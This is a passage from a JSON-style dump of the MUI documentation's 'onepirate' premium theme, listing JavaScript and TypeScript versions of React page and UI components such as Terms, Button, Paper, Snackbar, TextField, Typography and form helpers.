withRoot(SignUp);\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/Terms.js",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Box from '@mui/material/Box';\nimport Markdown from './modules/components/Markdown';\nimport Typography from './modules/components/Typography';\nimport AppAppBar from './modules/views/AppAppBar';\nimport AppFooter from './modules/views/AppFooter';\nimport withRoot from './modules/withRoot';\nimport terms from './modules/views/terms.md';\n\nfunction Terms() {\n  return (\n    <React.Fragment>\n      <AppAppBar />\n      <Container>\n        <Box sx={{ mt: 7, mb: 12 }}>\n          <Typography variant=\"h3\" gutterBottom marked=\"center\" align=\"center\">\n            Terms\n          </Typography>\n          <Markdown>{terms}</Markdown>\n        </Box>\n      </Container>\n      <AppFooter />\n    </React.Fragment>\n  );\n}\n\nexport default withRoot(Terms);\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/Terms.tsx",
    "content": "import * as React from 'react';\nimport Container from '@mui/material/Container';\nimport Box from '@mui/material/Box';\nimport Markdown from './modules/components/Markdown';\nimport Typography from './modules/components/Typography';\nimport AppAppBar from './modules/views/AppAppBar';\nimport AppFooter from './modules/views/AppFooter';\nimport withRoot from './modules/withRoot';\nimport terms from './modules/views/terms.md';\n\nfunction Terms() {\n  return (\n    <React.Fragment>\n      <AppAppBar />\n      <Container>\n        <Box sx={{ mt: 7, mb: 12 }}>\n          <Typography variant=\"h3\" gutterBottom marked=\"center\" align=\"center\">\n            Terms\n          </Typography>\n          <Markdown>{terms}</Markdown>\n        </Box>\n      </Container>\n      <AppFooter />\n    </React.Fragment>\n  );\n}\n\nexport default withRoot(Terms);\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/components/AppBar.js",
    "content": "import MuiAppBar from '@mui/material/AppBar';\n\nfunction AppBar(props) {\n  return <MuiAppBar elevation={0} position=\"fixed\" {...props} />;\n}\n\nexport default AppBar;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/components/AppBar.tsx",
    "content": "import MuiAppBar, { AppBarProps } from '@mui/material/AppBar';\n\nfunction AppBar(props: AppBarProps) {\n  return <MuiAppBar elevation={0} position=\"fixed\" {...props} />;\n}\n\nexport default AppBar;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/components/Button.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport MuiButton from '@mui/material/Button';\n\nconst ButtonRoot = styled(MuiButton)(({ theme }) => ({\n  borderRadius: 0,\n  fontWeight: theme.typography.fontWeightMedium,\n  fontFamily: theme.typography.h1.fontFamily,\n  padding: theme.spacing(2, 4),\n  fontSize: theme.typography.pxToRem(14),\n  boxShadow: 'none',\n  '&:active, &:focus': {\n    boxShadow: 'none',\n  },\n  variants: [\n    {\n      props: {\n        size: 'small',\n      },\n      style: {\n        padding: theme.spacing(1, 3),\n        fontSize: theme.typography.pxToRem(13),\n      },\n    },\n    {\n      props: {\n        size: 'large',\n      },\n      style: {\n        padding: theme.spacing(2, 5),\n        fontSize: theme.typography.pxToRem(16),\n      },\n    },\n  ],\n}));\n\n// See https://mui.com/guides/typescript/#usage-of-component-prop for why the types uses `C`.\nfunction Button(props) {\n  return <ButtonRoot {...props} />;\n}\n\nexport default Button;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/components/Button.tsx",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport MuiButton, { ButtonProps } from '@mui/material/Button';\n\nconst ButtonRoot = styled(MuiButton)(({ theme }) => ({\n  borderRadius: 0,\n  fontWeight: theme.typography.fontWeightMedium,\n  fontFamily: theme.typography.h1.fontFamily,\n  padding: theme.spacing(2, 4),\n  fontSize: theme.typography.pxToRem(14),\n  boxShadow: 'none',\n  '&:active, &:focus': {\n    boxShadow: 'none',\n  },\n  variants: [\n    {\n      props: {\n        size: 'small',\n      },\n      style: {\n        padding: theme.spacing(1, 3),\n        fontSize: theme.typography.pxToRem(13),\n      },\n    },\n    {\n      props: {\n        size: 'large',\n      },\n      style: {\n        padding: theme.spacing(2, 5),\n        fontSize: theme.typography.pxToRem(16),\n      },\n    },\n  ],\n}));\n\n// See https://mui.com/guides/typescript/#usage-of-component-prop for why the types uses `C`.\nfunction Button<C extends React.ElementType>(\n  props: ButtonProps<C, { component?: C }>,\n) {\n  return <ButtonRoot {...props} />;\n}\n\nexport default Button;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/components/Markdown.js",
    "content": "import ReactMarkdown from 'markdown-to-jsx';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Link from '@mui/material/Link';\n\nconst options = {\n  overrides: {\n    h1: {\n      component: Typography,\n      props: {\n        gutterBottom: true,\n        variant: 'h4',\n      },\n    },\n    h2: {\n      component: Typography,\n      props: { gutterBottom: true, variant: 'h6' },\n    },\n    h3: {\n      component: Typography,\n      props: { gutterBottom: true, variant: 'subtitle1' },\n    },\n    h4: {\n      component: Typography,\n      props: {\n        gutterBottom: true,\n        variant: 'caption',\n        paragraph: true,\n      },\n    },\n    p: {\n      component: Typography,\n      props: { paragraph: true },\n    },\n    a: { component: Link },\n    li: {\n      component: (props) => (\n        <Box component=\"li\" sx={{ mt: 1 }}>\n          <Typography component=\"span\" {...props} />\n        </Box>\n      ),\n    },\n  },\n};\n\nexport default function Markdown(props) {\n  return <ReactMarkdown options={options} {...props} />;\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/components/Markdown.tsx",
    "content": "import ReactMarkdown from 'markdown-to-jsx';\nimport Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Link from '@mui/material/Link';\n\nconst options = {\n  overrides: {\n    h1: {\n      component: Typography,\n      props: {\n        gutterBottom: true,\n        variant: 'h4',\n      },\n    },\n    h2: {\n      component: Typography,\n      props: { gutterBottom: true, variant: 'h6' },\n    },\n    h3: {\n      component: Typography,\n      props: { gutterBottom: true, variant: 'subtitle1' },\n    },\n    h4: {\n      component: Typography,\n      props: {\n        gutterBottom: true,\n        variant: 'caption',\n        paragraph: true,\n      },\n    },\n    p: {\n      component: Typography,\n      props: { paragraph: true },\n    },\n    a: { component: Link },\n    li: {\n      component: (props: any) => (\n        <Box component=\"li\" sx={{ mt: 1 }}>\n          <Typography component=\"span\" {...props} />\n        </Box>\n      ),\n    },\n  },\n};\n\nexport default function Markdown(props: any) {\n  return <ReactMarkdown options={options} {...props} />;\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/components/Paper.js",
    "content": "import MuiPaper from '@mui/material/Paper';\nimport PropTypes from 'prop-types';\nimport { styled } from '@mui/material/styles';\n\nconst PaperRoot = styled(MuiPaper, {\n  shouldForwardProp: (prop) => prop !== 'background' && prop !== 'padding',\n})(({ theme }) => ({\n  variants: [\n    {\n      props: ({ padding }) => !!padding,\n      style: {\n        padding: theme.spacing(1),\n      },\n    },\n    {\n      props: { background: 'main' },\n      style: {\n        backgroundColor: theme.palette.secondary.main,\n      },\n    },\n    {\n      props: { background: 'light' },\n      style: {\n        backgroundColor: theme.palette.secondary.light,\n      },\n    },\n    {\n      props: { background: 'dark' },\n      style: {\n        backgroundColor: theme.palette.secondary.dark,\n      },\n    },\n  ],\n}));\n\nfunction Paper(props) {\n  const { background, classes, className, padding = false, ...other } = props;\n\n  return (\n    <PaperRoot\n      square\n      elevation={0}\n      background={background}\n      padding={padding}\n      className={className}\n      {...other}\n    />\n  );\n}\n\nPaper.propTypes = {\n  background: PropTypes.oneOf(['dark', 'light', 'main']).isRequired,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  className: PropTypes.string,\n  padding: PropTypes.bool,\n};\n\nexport default Paper;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/components/Paper.tsx",
    "content": "import MuiPaper, { PaperProps } from '@mui/material/Paper';\nimport { styled } from '@mui/material/styles';\n\ninterface ExtraPaperProps {\n  background: 'light' | 'main' | 'dark';\n  padding?: boolean;\n}\n\nconst PaperRoot = styled(MuiPaper, {\n  shouldForwardProp: (prop) => prop !== 'background' && prop !== 'padding',\n})<ExtraPaperProps>(({ theme }) => ({\n  variants: [\n    {\n      props: ({ padding }) => !!padding,\n      style: {\n        padding: theme.spacing(1),\n      },\n    },\n    {\n      props: { background: 'main' },\n      style: {\n        backgroundColor: theme.palette.secondary.main,\n      },\n    },\n    {\n      props: { background: 'light' },\n      style: {\n        backgroundColor: theme.palette.secondary.light,\n      },\n    },\n    {\n      props: { background: 'dark' },\n      style: {\n        backgroundColor: theme.palette.secondary.dark,\n      },\n    },\n  ],\n}));\n\nexport default function Paper(props: PaperProps & ExtraPaperProps) {\n  const { background, classes, className, padding = false, ...other } = props;\n\n  return (\n    <PaperRoot\n      square\n      elevation={0}\n      background={background}\n      padding={padding}\n      className={className}\n      {...other}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/components/Snackbar.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { styled } from '@mui/material/styles';\nimport MuiSnackbar from '@mui/material/Snackbar';\nimport { snackbarContentClasses } from '@mui/material/SnackbarContent';\nimport Slide from '@mui/material/Slide';\nimport CloseIcon from '@mui/icons-material/Close';\nimport InfoIcon from '@mui/icons-material/Info';\nimport IconButton from '@mui/material/IconButton';\n\nconst styles = ({ theme }) => ({\n  [`& .${snackbarContentClasses.root}`]: {\n    backgroundColor: theme.palette.secondary.light,\n    color: (theme.vars || theme).palette.text.primary,\n    flexWrap: 'inherit',\n    [theme.breakpoints.up('md')]: {\n      borderTopLeftRadius: 0,\n      borderTopRightRadius: 0,\n      borderBottomRightRadius: 4,\n      borderBottomLeftRadius: 4,\n    },\n  },\n  [`& .${snackbarContentClasses.message}`]: {\n    fontSize: 16,\n    display: 'flex',\n    alignItems: 'center',\n  },\n  [`& .${snackbarContentClasses.action}`]: {\n    paddingLeft: theme.spacing(2),\n  },\n  '& .MuiSnackbarContent-info': {\n    flexShrink: 0,\n    marginRight: theme.spacing(2),\n  },\n  '& .MuiSnackbarContent-close': {\n    padding: theme.spacing(1),\n  },\n});\n\nfunction Transition(props) {\n  return <Slide {...props} direction=\"down\" />;\n}\n\nfunction Snackbar(props) {\n  const { message, closeFunc, ...other } = props;\n  const classes = {\n    info: 'MuiSnackbarContent-info',\n    close: 'MuiSnackbarContent-close',\n  };\n\n  return (\n    <MuiSnackbar\n      anchorOrigin={{ vertical: 'top', horizontal: 'center' }}\n      autoHideDuration={6000}\n      slots={{ transition: Transition }}\n      message={\n        <React.Fragment>\n          <InfoIcon className={classes.info} />\n          <span>{message}</span>\n        </React.Fragment>\n      }\n      action={[\n        <IconButton\n          key=\"close\"\n          aria-label=\"close\"\n          color=\"inherit\"\n          className={classes.close}\n          onClick={() => closeFunc && closeFunc()}\n        >\n          <CloseIcon />\n        </IconButton>,\n      ]}\n      {...other}\n    />\n  );\n}\n\nSnackbar.propTypes = {\n  closeFunc: PropTypes.func,\n  /**\n   * The message to display.\n   */\n  message: PropTypes.node,\n};\n\nexport default styled(Snackbar)(styles);\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/components/Snackbar.tsx",
    "content": "import * as React from 'react';\nimport { Theme, styled } from '@mui/material/styles';\nimport MuiSnackbar, { SnackbarProps } from '@mui/material/Snackbar';\nimport { snackbarContentClasses } from '@mui/material/SnackbarContent';\nimport Slide from '@mui/material/Slide';\nimport CloseIcon from '@mui/icons-material/Close';\nimport InfoIcon from '@mui/icons-material/Info';\nimport IconButton from '@mui/material/IconButton';\nimport { TransitionProps } from '@mui/material/transitions';\n\nconst styles = ({ theme }: { theme: Theme }) =>\n  ({\n    [`& .${snackbarContentClasses.root}`]: {\n      backgroundColor: theme.palette.secondary.light,\n      color: (theme.vars || theme).palette.text.primary,\n      flexWrap: 'inherit',\n      [theme.breakpoints.up('md')]: {\n        borderTopLeftRadius: 0,\n        borderTopRightRadius: 0,\n        borderBottomRightRadius: 4,\n        borderBottomLeftRadius: 4,\n      },\n    },\n\n    [`& .${snackbarContentClasses.message}`]: {\n      fontSize: 16,\n      display: 'flex',\n      alignItems: 'center',\n    },\n\n    [`& .${snackbarContentClasses.action}`]: {\n      paddingLeft: theme.spacing(2),\n    },\n\n    '& .MuiSnackbarContent-info': {\n      flexShrink: 0,\n      marginRight: theme.spacing(2),\n    },\n\n    '& .MuiSnackbarContent-close': {\n      padding: theme.spacing(1),\n    },\n  }) as const;\n\nfunction Transition(\n  props: TransitionProps & { children: React.ReactElement<any, any> },\n) {\n  return <Slide {...props} direction=\"down\" />;\n}\n\ninterface ExtraSnackbarProps {\n  closeFunc?: () => void;\n}\n\nfunction Snackbar(props: SnackbarProps & ExtraSnackbarProps) {\n  const { message, closeFunc, ...other } = props;\n  const classes = {\n    info: 'MuiSnackbarContent-info',\n    close: 'MuiSnackbarContent-close',\n  };\n\n  return (\n    <MuiSnackbar\n      anchorOrigin={{ vertical: 'top', horizontal: 'center' }}\n      autoHideDuration={6000}\n      slots={{ transition: Transition }}\n      message={\n        <React.Fragment>\n          <InfoIcon className={classes.info} />\n          <span>{message}</span>\n        </React.Fragment>\n      }\n      action={[\n        <IconButton\n          key=\"close\"\n          aria-label=\"close\"\n          color=\"inherit\"\n          className={classes.close}\n          onClick={() => closeFunc && closeFunc()}\n        >\n          <CloseIcon />\n        </IconButton>,\n      ]}\n      {...other}\n    />\n  );\n}\n\nexport default styled(Snackbar)(styles);\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/components/TextField.js",
    "content": "import clsx from 'clsx';\nimport PropTypes from 'prop-types';\nimport { styled } from '@mui/material/styles';\nimport MuiTextField from '@mui/material/TextField';\nimport { selectClasses } from '@mui/material/Select';\nimport { inputLabelClasses } from '@mui/material/InputLabel';\n\nconst inputStyleMappingClasses = {\n  small: 'OnePirateTextField-inputSizeSmall',\n  medium: 'OnePirateTextField-inputSizeMedium',\n  large: 'OnePirateTextField-inputSizeLarge',\n  xlarge: 'OnePirateTextField-inputSizeXLarge',\n};\n\nconst classes = {\n  root: 'OnePirateTextField-root',\n  input: 'OnePirateTextField-input',\n  inputBorder: 'OnePirateTextField-inputBorder',\n};\n\nconst styles = ({ theme }) => ({\n  [`& .${classes.root}`]: {\n    padding: 0,\n    'label + &': {\n      marginTop: theme.spacing(3),\n    },\n  },\n  [`& .${classes.input}`]: {\n    minWidth: theme.spacing(6),\n    backgroundColor: theme.palette.common.white,\n    '&.Mui-disabled': {\n      backgroundColor: theme.palette.divider,\n    },\n  },\n  [`& .${classes.inputBorder}`]: {\n    border: '1px solid #e9ddd0',\n    '&:focus': {\n      borderColor: theme.palette.secondary.main,\n    },\n  },\n  [`& .${inputStyleMappingClasses.small}`]: {\n    fontSize: 14,\n    padding: theme.spacing(1),\n    width: `calc(100% - ${theme.spacing(2)})`,\n  },\n  [`& .${inputStyleMappingClasses.medium}`]: {\n    fontSize: 16,\n    padding: theme.spacing(2),\n    width: `calc(100% - ${theme.spacing(4)})`,\n  },\n  [`& .${inputStyleMappingClasses.large}`]: {\n    fontSize: 18,\n    padding: 20,\n    width: `calc(100% - ${20 * 2}px)`,\n  },\n  [`& .${inputStyleMappingClasses.xlarge}`]: {\n    fontSize: 20,\n    padding: 25,\n    width: `calc(100% - ${25 * 2}px)`,\n  },\n  [`& .${inputLabelClasses.root}`]: {\n    fontSize: 18,\n  },\n  [`& .${selectClasses.select}`]: {\n    height: 'auto',\n    borderRadius: 0,\n  },\n  [`& .${selectClasses.icon}`]: {\n    top: '50%',\n    marginTop: -12,\n  },\n});\n\nfunction TextField(props) {\n  const { slotProps = {}, noBorder, size = 'medium', ...other } = props;\n\n  const {\n    classes: { input: InputPropsClassesInput, ...InputPropsClassesOther } = {},\n    ...InputPropsOther\n  } = slotProps.input ?? {};\n\n  return (\n    <MuiTextField\n      slotProps={{\n        ...slotProps,\n        input: {\n          classes: {\n            root: classes.root,\n            input: clsx(\n              classes.input,\n              inputStyleMappingClasses[size],\n              {\n                [classes.inputBorder]: !noBorder,\n              },\n              InputPropsClassesInput,\n            ),\n            ...InputPropsClassesOther,\n          },\n          disableUnderline: true,\n          ...InputPropsOther,\n        },\n        inputLabel: {\n          ...slotProps.inputLabel,\n          shrink: true,\n        },\n      }}\n      {...other}\n    />\n  );\n}\n\nTextField.propTypes = {\n  noBorder: PropTypes.bool,\n  size: PropTypes.oneOf(['large', 'medium', 'small', 'xlarge']),\n  slotProps: PropTypes.shape({\n    formHelperText: PropTypes.object,\n    htmlInput: PropTypes.object,\n    input: PropTypes.object,\n    inputLabel: PropTypes.object,\n    root: PropTypes.object,\n    select: PropTypes.object,\n  }),\n};\n\nexport default styled(TextField)(styles);\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/components/TextField.tsx",
    "content": "import clsx from 'clsx';\nimport { styled, Theme } from '@mui/material/styles';\nimport MuiTextField, {\n  FilledTextFieldProps,\n  StandardTextFieldProps,\n} from '@mui/material/TextField';\nimport { selectClasses } from '@mui/material/Select';\nimport { inputLabelClasses } from '@mui/material/InputLabel';\nimport { FilledInputProps } from '@mui/material/FilledInput';\nimport { InputProps as StandardInputProps } from '@mui/material/Input';\n\nconst inputStyleMappingClasses = {\n  small: 'OnePirateTextField-inputSizeSmall',\n  medium: 'OnePirateTextField-inputSizeMedium',\n  large: 'OnePirateTextField-inputSizeLarge',\n  xlarge: 'OnePirateTextField-inputSizeXLarge',\n};\n\nconst classes = {\n  root: 'OnePirateTextField-root',\n  input: 'OnePirateTextField-input',\n  inputBorder: 'OnePirateTextField-inputBorder',\n};\n\nconst styles = ({ theme }: { theme: Theme }) => ({\n  [`& .${classes.root}`]: {\n    padding: 0,\n    'label + &': {\n      marginTop: theme.spacing(3),\n    },\n  },\n  [`& .${classes.input}`]: {\n    minWidth: theme.spacing(6),\n    backgroundColor: theme.palette.common.white,\n    '&.Mui-disabled': {\n      backgroundColor: theme.palette.divider,\n    },\n  },\n  [`& .${classes.inputBorder}`]: {\n    border: '1px solid #e9ddd0',\n    '&:focus': {\n      borderColor: theme.palette.secondary.main,\n    },\n  },\n  [`& .${inputStyleMappingClasses.small}`]: {\n    fontSize: 14,\n    padding: theme.spacing(1),\n    width: `calc(100% - ${theme.spacing(2)})`,\n  },\n  [`& .${inputStyleMappingClasses.medium}`]: {\n    fontSize: 16,\n    padding: theme.spacing(2),\n    width: `calc(100% - ${theme.spacing(4)})`,\n  },\n  [`& .${inputStyleMappingClasses.large}`]: {\n    fontSize: 18,\n    padding: 20,\n    width: `calc(100% - ${20 * 2}px)`,\n  },\n  [`& .${inputStyleMappingClasses.xlarge}`]: {\n    fontSize: 20,\n    padding: 25,\n    width: `calc(100% - ${25 * 2}px)`,\n  },\n  [`& .${inputLabelClasses.root}`]: {\n    fontSize: 18,\n  },\n  [`& .${selectClasses.select}`]: {\n    height: 'auto',\n    borderRadius: 0,\n  },\n  [`& .${selectClasses.icon}`]: {\n    top: '50%',\n    marginTop: -12,\n  },\n});\n\nexport interface OnePirateTextFieldProps extends Omit<\n  FilledTextFieldProps | StandardTextFieldProps,\n  'size' | 'slotProps'\n> {\n  noBorder?: boolean;\n  size?: 'small' | 'medium' | 'large' | 'xlarge';\n  slotProps?: OnePirateTextFieldSlotProps;\n}\n\ninterface OnePirateTextFieldSlotProps {\n  formHelperText?: object;\n  htmlInput?: object;\n  input?: FilledInputProps | StandardInputProps;\n  inputLabel?: object;\n  root?: object;\n  select?: object;\n}\n\nfunction TextField(props: OnePirateTextFieldProps) {\n  const { slotProps = {}, noBorder, size = 'medium', ...other } = props;\n\n  const {\n    classes: { input: InputPropsClassesInput, ...InputPropsClassesOther } = {},\n    ...InputPropsOther\n  } = (slotProps.input ?? {}) as FilledInputProps | StandardInputProps;\n\n  return (\n    <MuiTextField\n      slotProps={{\n        ...slotProps,\n        input: {\n          classes: {\n            root: classes.root,\n            input: clsx(\n              classes.input,\n              inputStyleMappingClasses[size],\n              {\n                [classes.inputBorder]: !noBorder,\n              },\n              InputPropsClassesInput,\n            ),\n            ...InputPropsClassesOther,\n          },\n          disableUnderline: true,\n          ...InputPropsOther,\n        },\n        inputLabel: {\n          ...slotProps.inputLabel,\n          shrink: true,\n        },\n      }}\n      {...other}\n    />\n  );\n}\n\nexport default styled(TextField)(styles);\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/components/Toolbar.js",
    "content": "import { styled } from '@mui/material/styles';\nimport MuiToolbar from '@mui/material/Toolbar';\n\nconst Toolbar = styled(MuiToolbar)(({ theme }) => ({\n  height: 64,\n  [theme.breakpoints.up('sm')]: {\n    height: 70,\n  },\n}));\n\nexport default Toolbar;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/components/Toolbar.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport MuiToolbar from '@mui/material/Toolbar';\n\nconst Toolbar = styled(MuiToolbar)(({ theme }) => ({\n  height: 64,\n  [theme.breakpoints.up('sm')]: {\n    height: 70,\n  },\n}));\n\nexport default Toolbar;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/components/Typography.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { styled } from '@mui/material/styles';\nimport MuiTypography from '@mui/material/Typography';\n\nconst markClassesMapping = {\n  center: {\n    h1: '',\n    h2: 'OnePirateTypography-markedH2Center',\n    h3: 'OnePirateTypography-markedH3Center',\n    h4: 'OnePirateTypography-markedH4Center',\n    h5: '',\n    h6: '',\n  },\n  left: {\n    h1: '',\n    h2: '',\n    h3: '',\n    h4: '',\n    h5: '',\n    h6: 'OnePirateTypography-markedH6Left',\n  },\n  none: {\n    h1: '',\n    h2: '',\n    h3: '',\n    h4: '',\n    h5: '',\n    h6: '',\n  },\n};\n\nconst styles = ({ theme }) => ({\n  [`& .${markClassesMapping.center.h2}`]: {\n    height: 4,\n    width: 73,\n    display: 'block',\n    margin: `${theme.spacing(1)} auto 0`,\n    backgroundColor: theme.palette.secondary.main,\n  },\n  [`& .${markClassesMapping.center.h3}`]: {\n    height: 4,\n    width: 55,\n    display: 'block',\n    margin: `${theme.spacing(1)} auto 0`,\n    backgroundColor: theme.palette.secondary.main,\n  },\n  [`& .${markClassesMapping.center.h4}`]: {\n    height: 4,\n    width: 55,\n    display: 'block',\n    margin: `${theme.spacing(1)} auto 0`,\n    backgroundColor: theme.palette.secondary.main,\n  },\n  [`& .${markClassesMapping.left.h6}`]: {\n    height: 2,\n    width: 28,\n    display: 'block',\n    marginTop: theme.spacing(0.5),\n    background: 'currentColor',\n  },\n});\n\nconst variantMapping = {\n  h1: 'h1',\n  h2: 'h1',\n  h3: 'h1',\n  h4: 'h1',\n  h5: 'h3',\n  h6: 'h2',\n  subtitle1: 'h3',\n};\n\nfunction Typography(props) {\n  const { children, variant, marked = 'none', ...other } = props;\n\n  let markedClassName = '';\n  if (variant && variant in markClassesMapping[marked]) {\n    markedClassName = markClassesMapping[marked][variant];\n  }\n\n  return (\n    <MuiTypography variantMapping={variantMapping} variant={variant} {...other}>\n      {children}\n      {markedClassName ? <span className={markedClassName} /> : null}\n    </MuiTypography>\n  );\n}\n\nTypography.propTypes = {\n  /**\n   * The content of the component.\n   */\n  children: PropTypes.node,\n  marked: PropTypes.oneOf(['center', 'left', 'none']),\n  /**\n   * Applies the theme typography styles.\n   * @default 'body1'\n   */\n  variant: PropTypes.oneOf([\n    'body1',\n    'body2',\n    'button',\n    'caption',\n    'h1',\n    'h2',\n    'h3',\n    'h4',\n    'h5',\n    'h6',\n    'inherit',\n    'overline',\n    'subtitle1',\n    'subtitle2',\n  ]),\n};\n\nexport default styled(Typography)(styles);\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/components/Typography.tsx",
    "content": "import * as React from 'react';\nimport { styled, Theme } from '@mui/material/styles';\nimport MuiTypography, { TypographyProps } from '@mui/material/Typography';\n\nconst markClassesMapping: {\n  [index: string]: { [subindex: string]: string };\n} = {\n  center: {\n    h1: '',\n    h2: 'OnePirateTypography-markedH2Center',\n    h3: 'OnePirateTypography-markedH3Center',\n    h4: 'OnePirateTypography-markedH4Center',\n    h5: '',\n    h6: '',\n  },\n  left: {\n    h1: '',\n    h2: '',\n    h3: '',\n    h4: '',\n    h5: '',\n    h6: 'OnePirateTypography-markedH6Left',\n  },\n  none: {\n    h1: '',\n    h2: '',\n    h3: '',\n    h4: '',\n    h5: '',\n    h6: '',\n  },\n};\n\nconst styles = ({ theme }: { theme: Theme }) => ({\n  [`& .${markClassesMapping.center.h2}`]: {\n    height: 4,\n    width: 73,\n    display: 'block',\n    margin: `${theme.spacing(1)} auto 0`,\n    backgroundColor: theme.palette.secondary.main,\n  },\n  [`& .${markClassesMapping.center.h3}`]: {\n    height: 4,\n    width: 55,\n    display: 'block',\n    margin: `${theme.spacing(1)} auto 0`,\n    backgroundColor: theme.palette.secondary.main,\n  },\n  [`& .${markClassesMapping.center.h4}`]: {\n    height: 4,\n    width: 55,\n    display: 'block',\n    margin: `${theme.spacing(1)} auto 0`,\n    backgroundColor: theme.palette.secondary.main,\n  },\n  [`& .${markClassesMapping.left.h6}`]: {\n    height: 2,\n    width: 28,\n    display: 'block',\n    marginTop: theme.spacing(0.5),\n    background: 'currentColor',\n  },\n});\n\ninterface ExtraTypographyProps {\n  marked?: 'center' | 'left' | 'none';\n}\n\nconst variantMapping = {\n  h1: 'h1',\n  h2: 'h1',\n  h3: 'h1',\n  h4: 'h1',\n  h5: 'h3',\n  h6: 'h2',\n  subtitle1: 'h3',\n};\n\nfunction Typography<C extends React.ElementType>(\n  props: TypographyProps<C, { component?: C }> & ExtraTypographyProps,\n) {\n  const { children, variant, marked = 'none', ...other } = props;\n\n  let markedClassName = '';\n  if (variant && variant in markClassesMapping[marked]) {\n    markedClassName = markClassesMapping[marked][variant];\n  }\n\n  return (\n    <MuiTypography variantMapping={variantMapping} variant={variant} {...other}>\n      {children}\n      {markedClassName ? <span className={markedClassName} /> : null}\n    </MuiTypography>\n  );\n}\n\nexport default styled(Typography)(styles);\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/form/FormButton.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\n\nimport Button from '../components/Button';\nimport defer from './defer';\n\nfunction FormButton(props) {\n  const { disabled, mounted, ...other } = props;\n  return (\n    <Button\n      disabled={!mounted || !!disabled}\n      type=\"submit\"\n      variant=\"contained\"\n      {...other}\n    />\n  );\n}\n\nFormButton.propTypes = {\n  /**\n   * If `true`, the component is disabled.\n   * @default false\n   */\n  disabled: PropTypes.bool,\n  mounted: PropTypes.bool,\n};\n\nexport default defer(FormButton);\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/form/FormButton.tsx",
    "content": "import * as React from 'react';\nimport { ButtonProps } from '@mui/material/Button';\nimport Button from '../components/Button';\nimport defer from './defer';\n\ninterface FormButtonProps {\n  disabled?: boolean;\n  mounted?: boolean;\n}\n\nfunction FormButton<C extends React.ElementType>(\n  props: FormButtonProps & ButtonProps<C, { component?: C }>,\n) {\n  const { disabled, mounted, ...other } = props;\n  return (\n    <Button\n      disabled={!mounted || !!disabled}\n      type=\"submit\"\n      variant=\"contained\"\n      {...(other as ButtonProps<C, { component?: C }>)}\n    />\n  );\n}\nexport default defer(FormButton);\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/form/FormFeedback.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport { styled } from '@mui/material/styles';\n\nimport Typography from '../components/Typography';\n\nconst Root = styled('div', {\n  shouldForwardProp: (prop) => prop !== 'error' && prop !== 'success',\n})(({ theme }) => ({\n  padding: theme.spacing(2),\n  variants: [\n    {\n      props: ({ error }) => error,\n      style: {\n        backgroundColor: theme.palette.error.light,\n        color: theme.palette.error.dark,\n      },\n    },\n    {\n      props: ({ success }) => success,\n      style: {\n        backgroundColor: theme.palette.success.light,\n        color: theme.palette.success.dark,\n      },\n    },\n  ],\n}));\n\nfunction FormFeedback(props) {\n  const { className, children, error, success, ...other } = props;\n\n  return (\n    <Root error={error} success={success} className={className} {...other}>\n      <Typography sx={{ color: 'inherit' }}>{children}</Typography>\n    </Root>\n  );\n}\n\nFormFeedback.propTypes = {\n  children: PropTypes.node,\n  className: PropTypes.string,\n  error: PropTypes.bool,\n  success: PropTypes.bool,\n};\n\nexport default FormFeedback;\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/form/FormFeedback.tsx",
    "content": "import * as React from 'react';\nimport { styled, Theme } from '@mui/material/styles';\nimport { SxProps } from '@mui/system';\nimport Typography from '../components/Typography';\n\ninterface FormFeedbackProps extends React.HTMLAttributes<HTMLDivElement> {\n  error?: boolean;\n  success?: boolean;\n  sx?: SxProps<Theme>;\n}\n\nconst Root = styled('div', {\n  shouldForwardProp: (prop) => prop !== 'error' && prop !== 'success',\n})<FormFeedbackProps>(({ theme }) => ({\n  padding: theme.spacing(2),\n  variants: [\n    {\n      props: ({ error }) => error,\n      style: {\n        backgroundColor: theme.palette.error.light,\n        color: theme.palette.error.dark,\n      },\n    },\n    {\n      props: ({ success }) => success,\n      style: {\n        backgroundColor: theme.palette.success.light,\n        color: theme.palette.success.dark,\n      },\n    },\n  ],\n}));\n\nexport default function FormFeedback(props: FormFeedbackProps) {\n  const { className, children, error, success, ...other } = props;\n\n  return (\n    <Root error={error} success={success} className={className} {...other}>\n      <Typography sx={{ color: 'inherit' }}>{children}</Typography>\n    </Root>\n  );\n}\n"
  },
  {
    "path": "docs/src/pages/premium-themes/onepirate/modules/form/RFTextField.js",
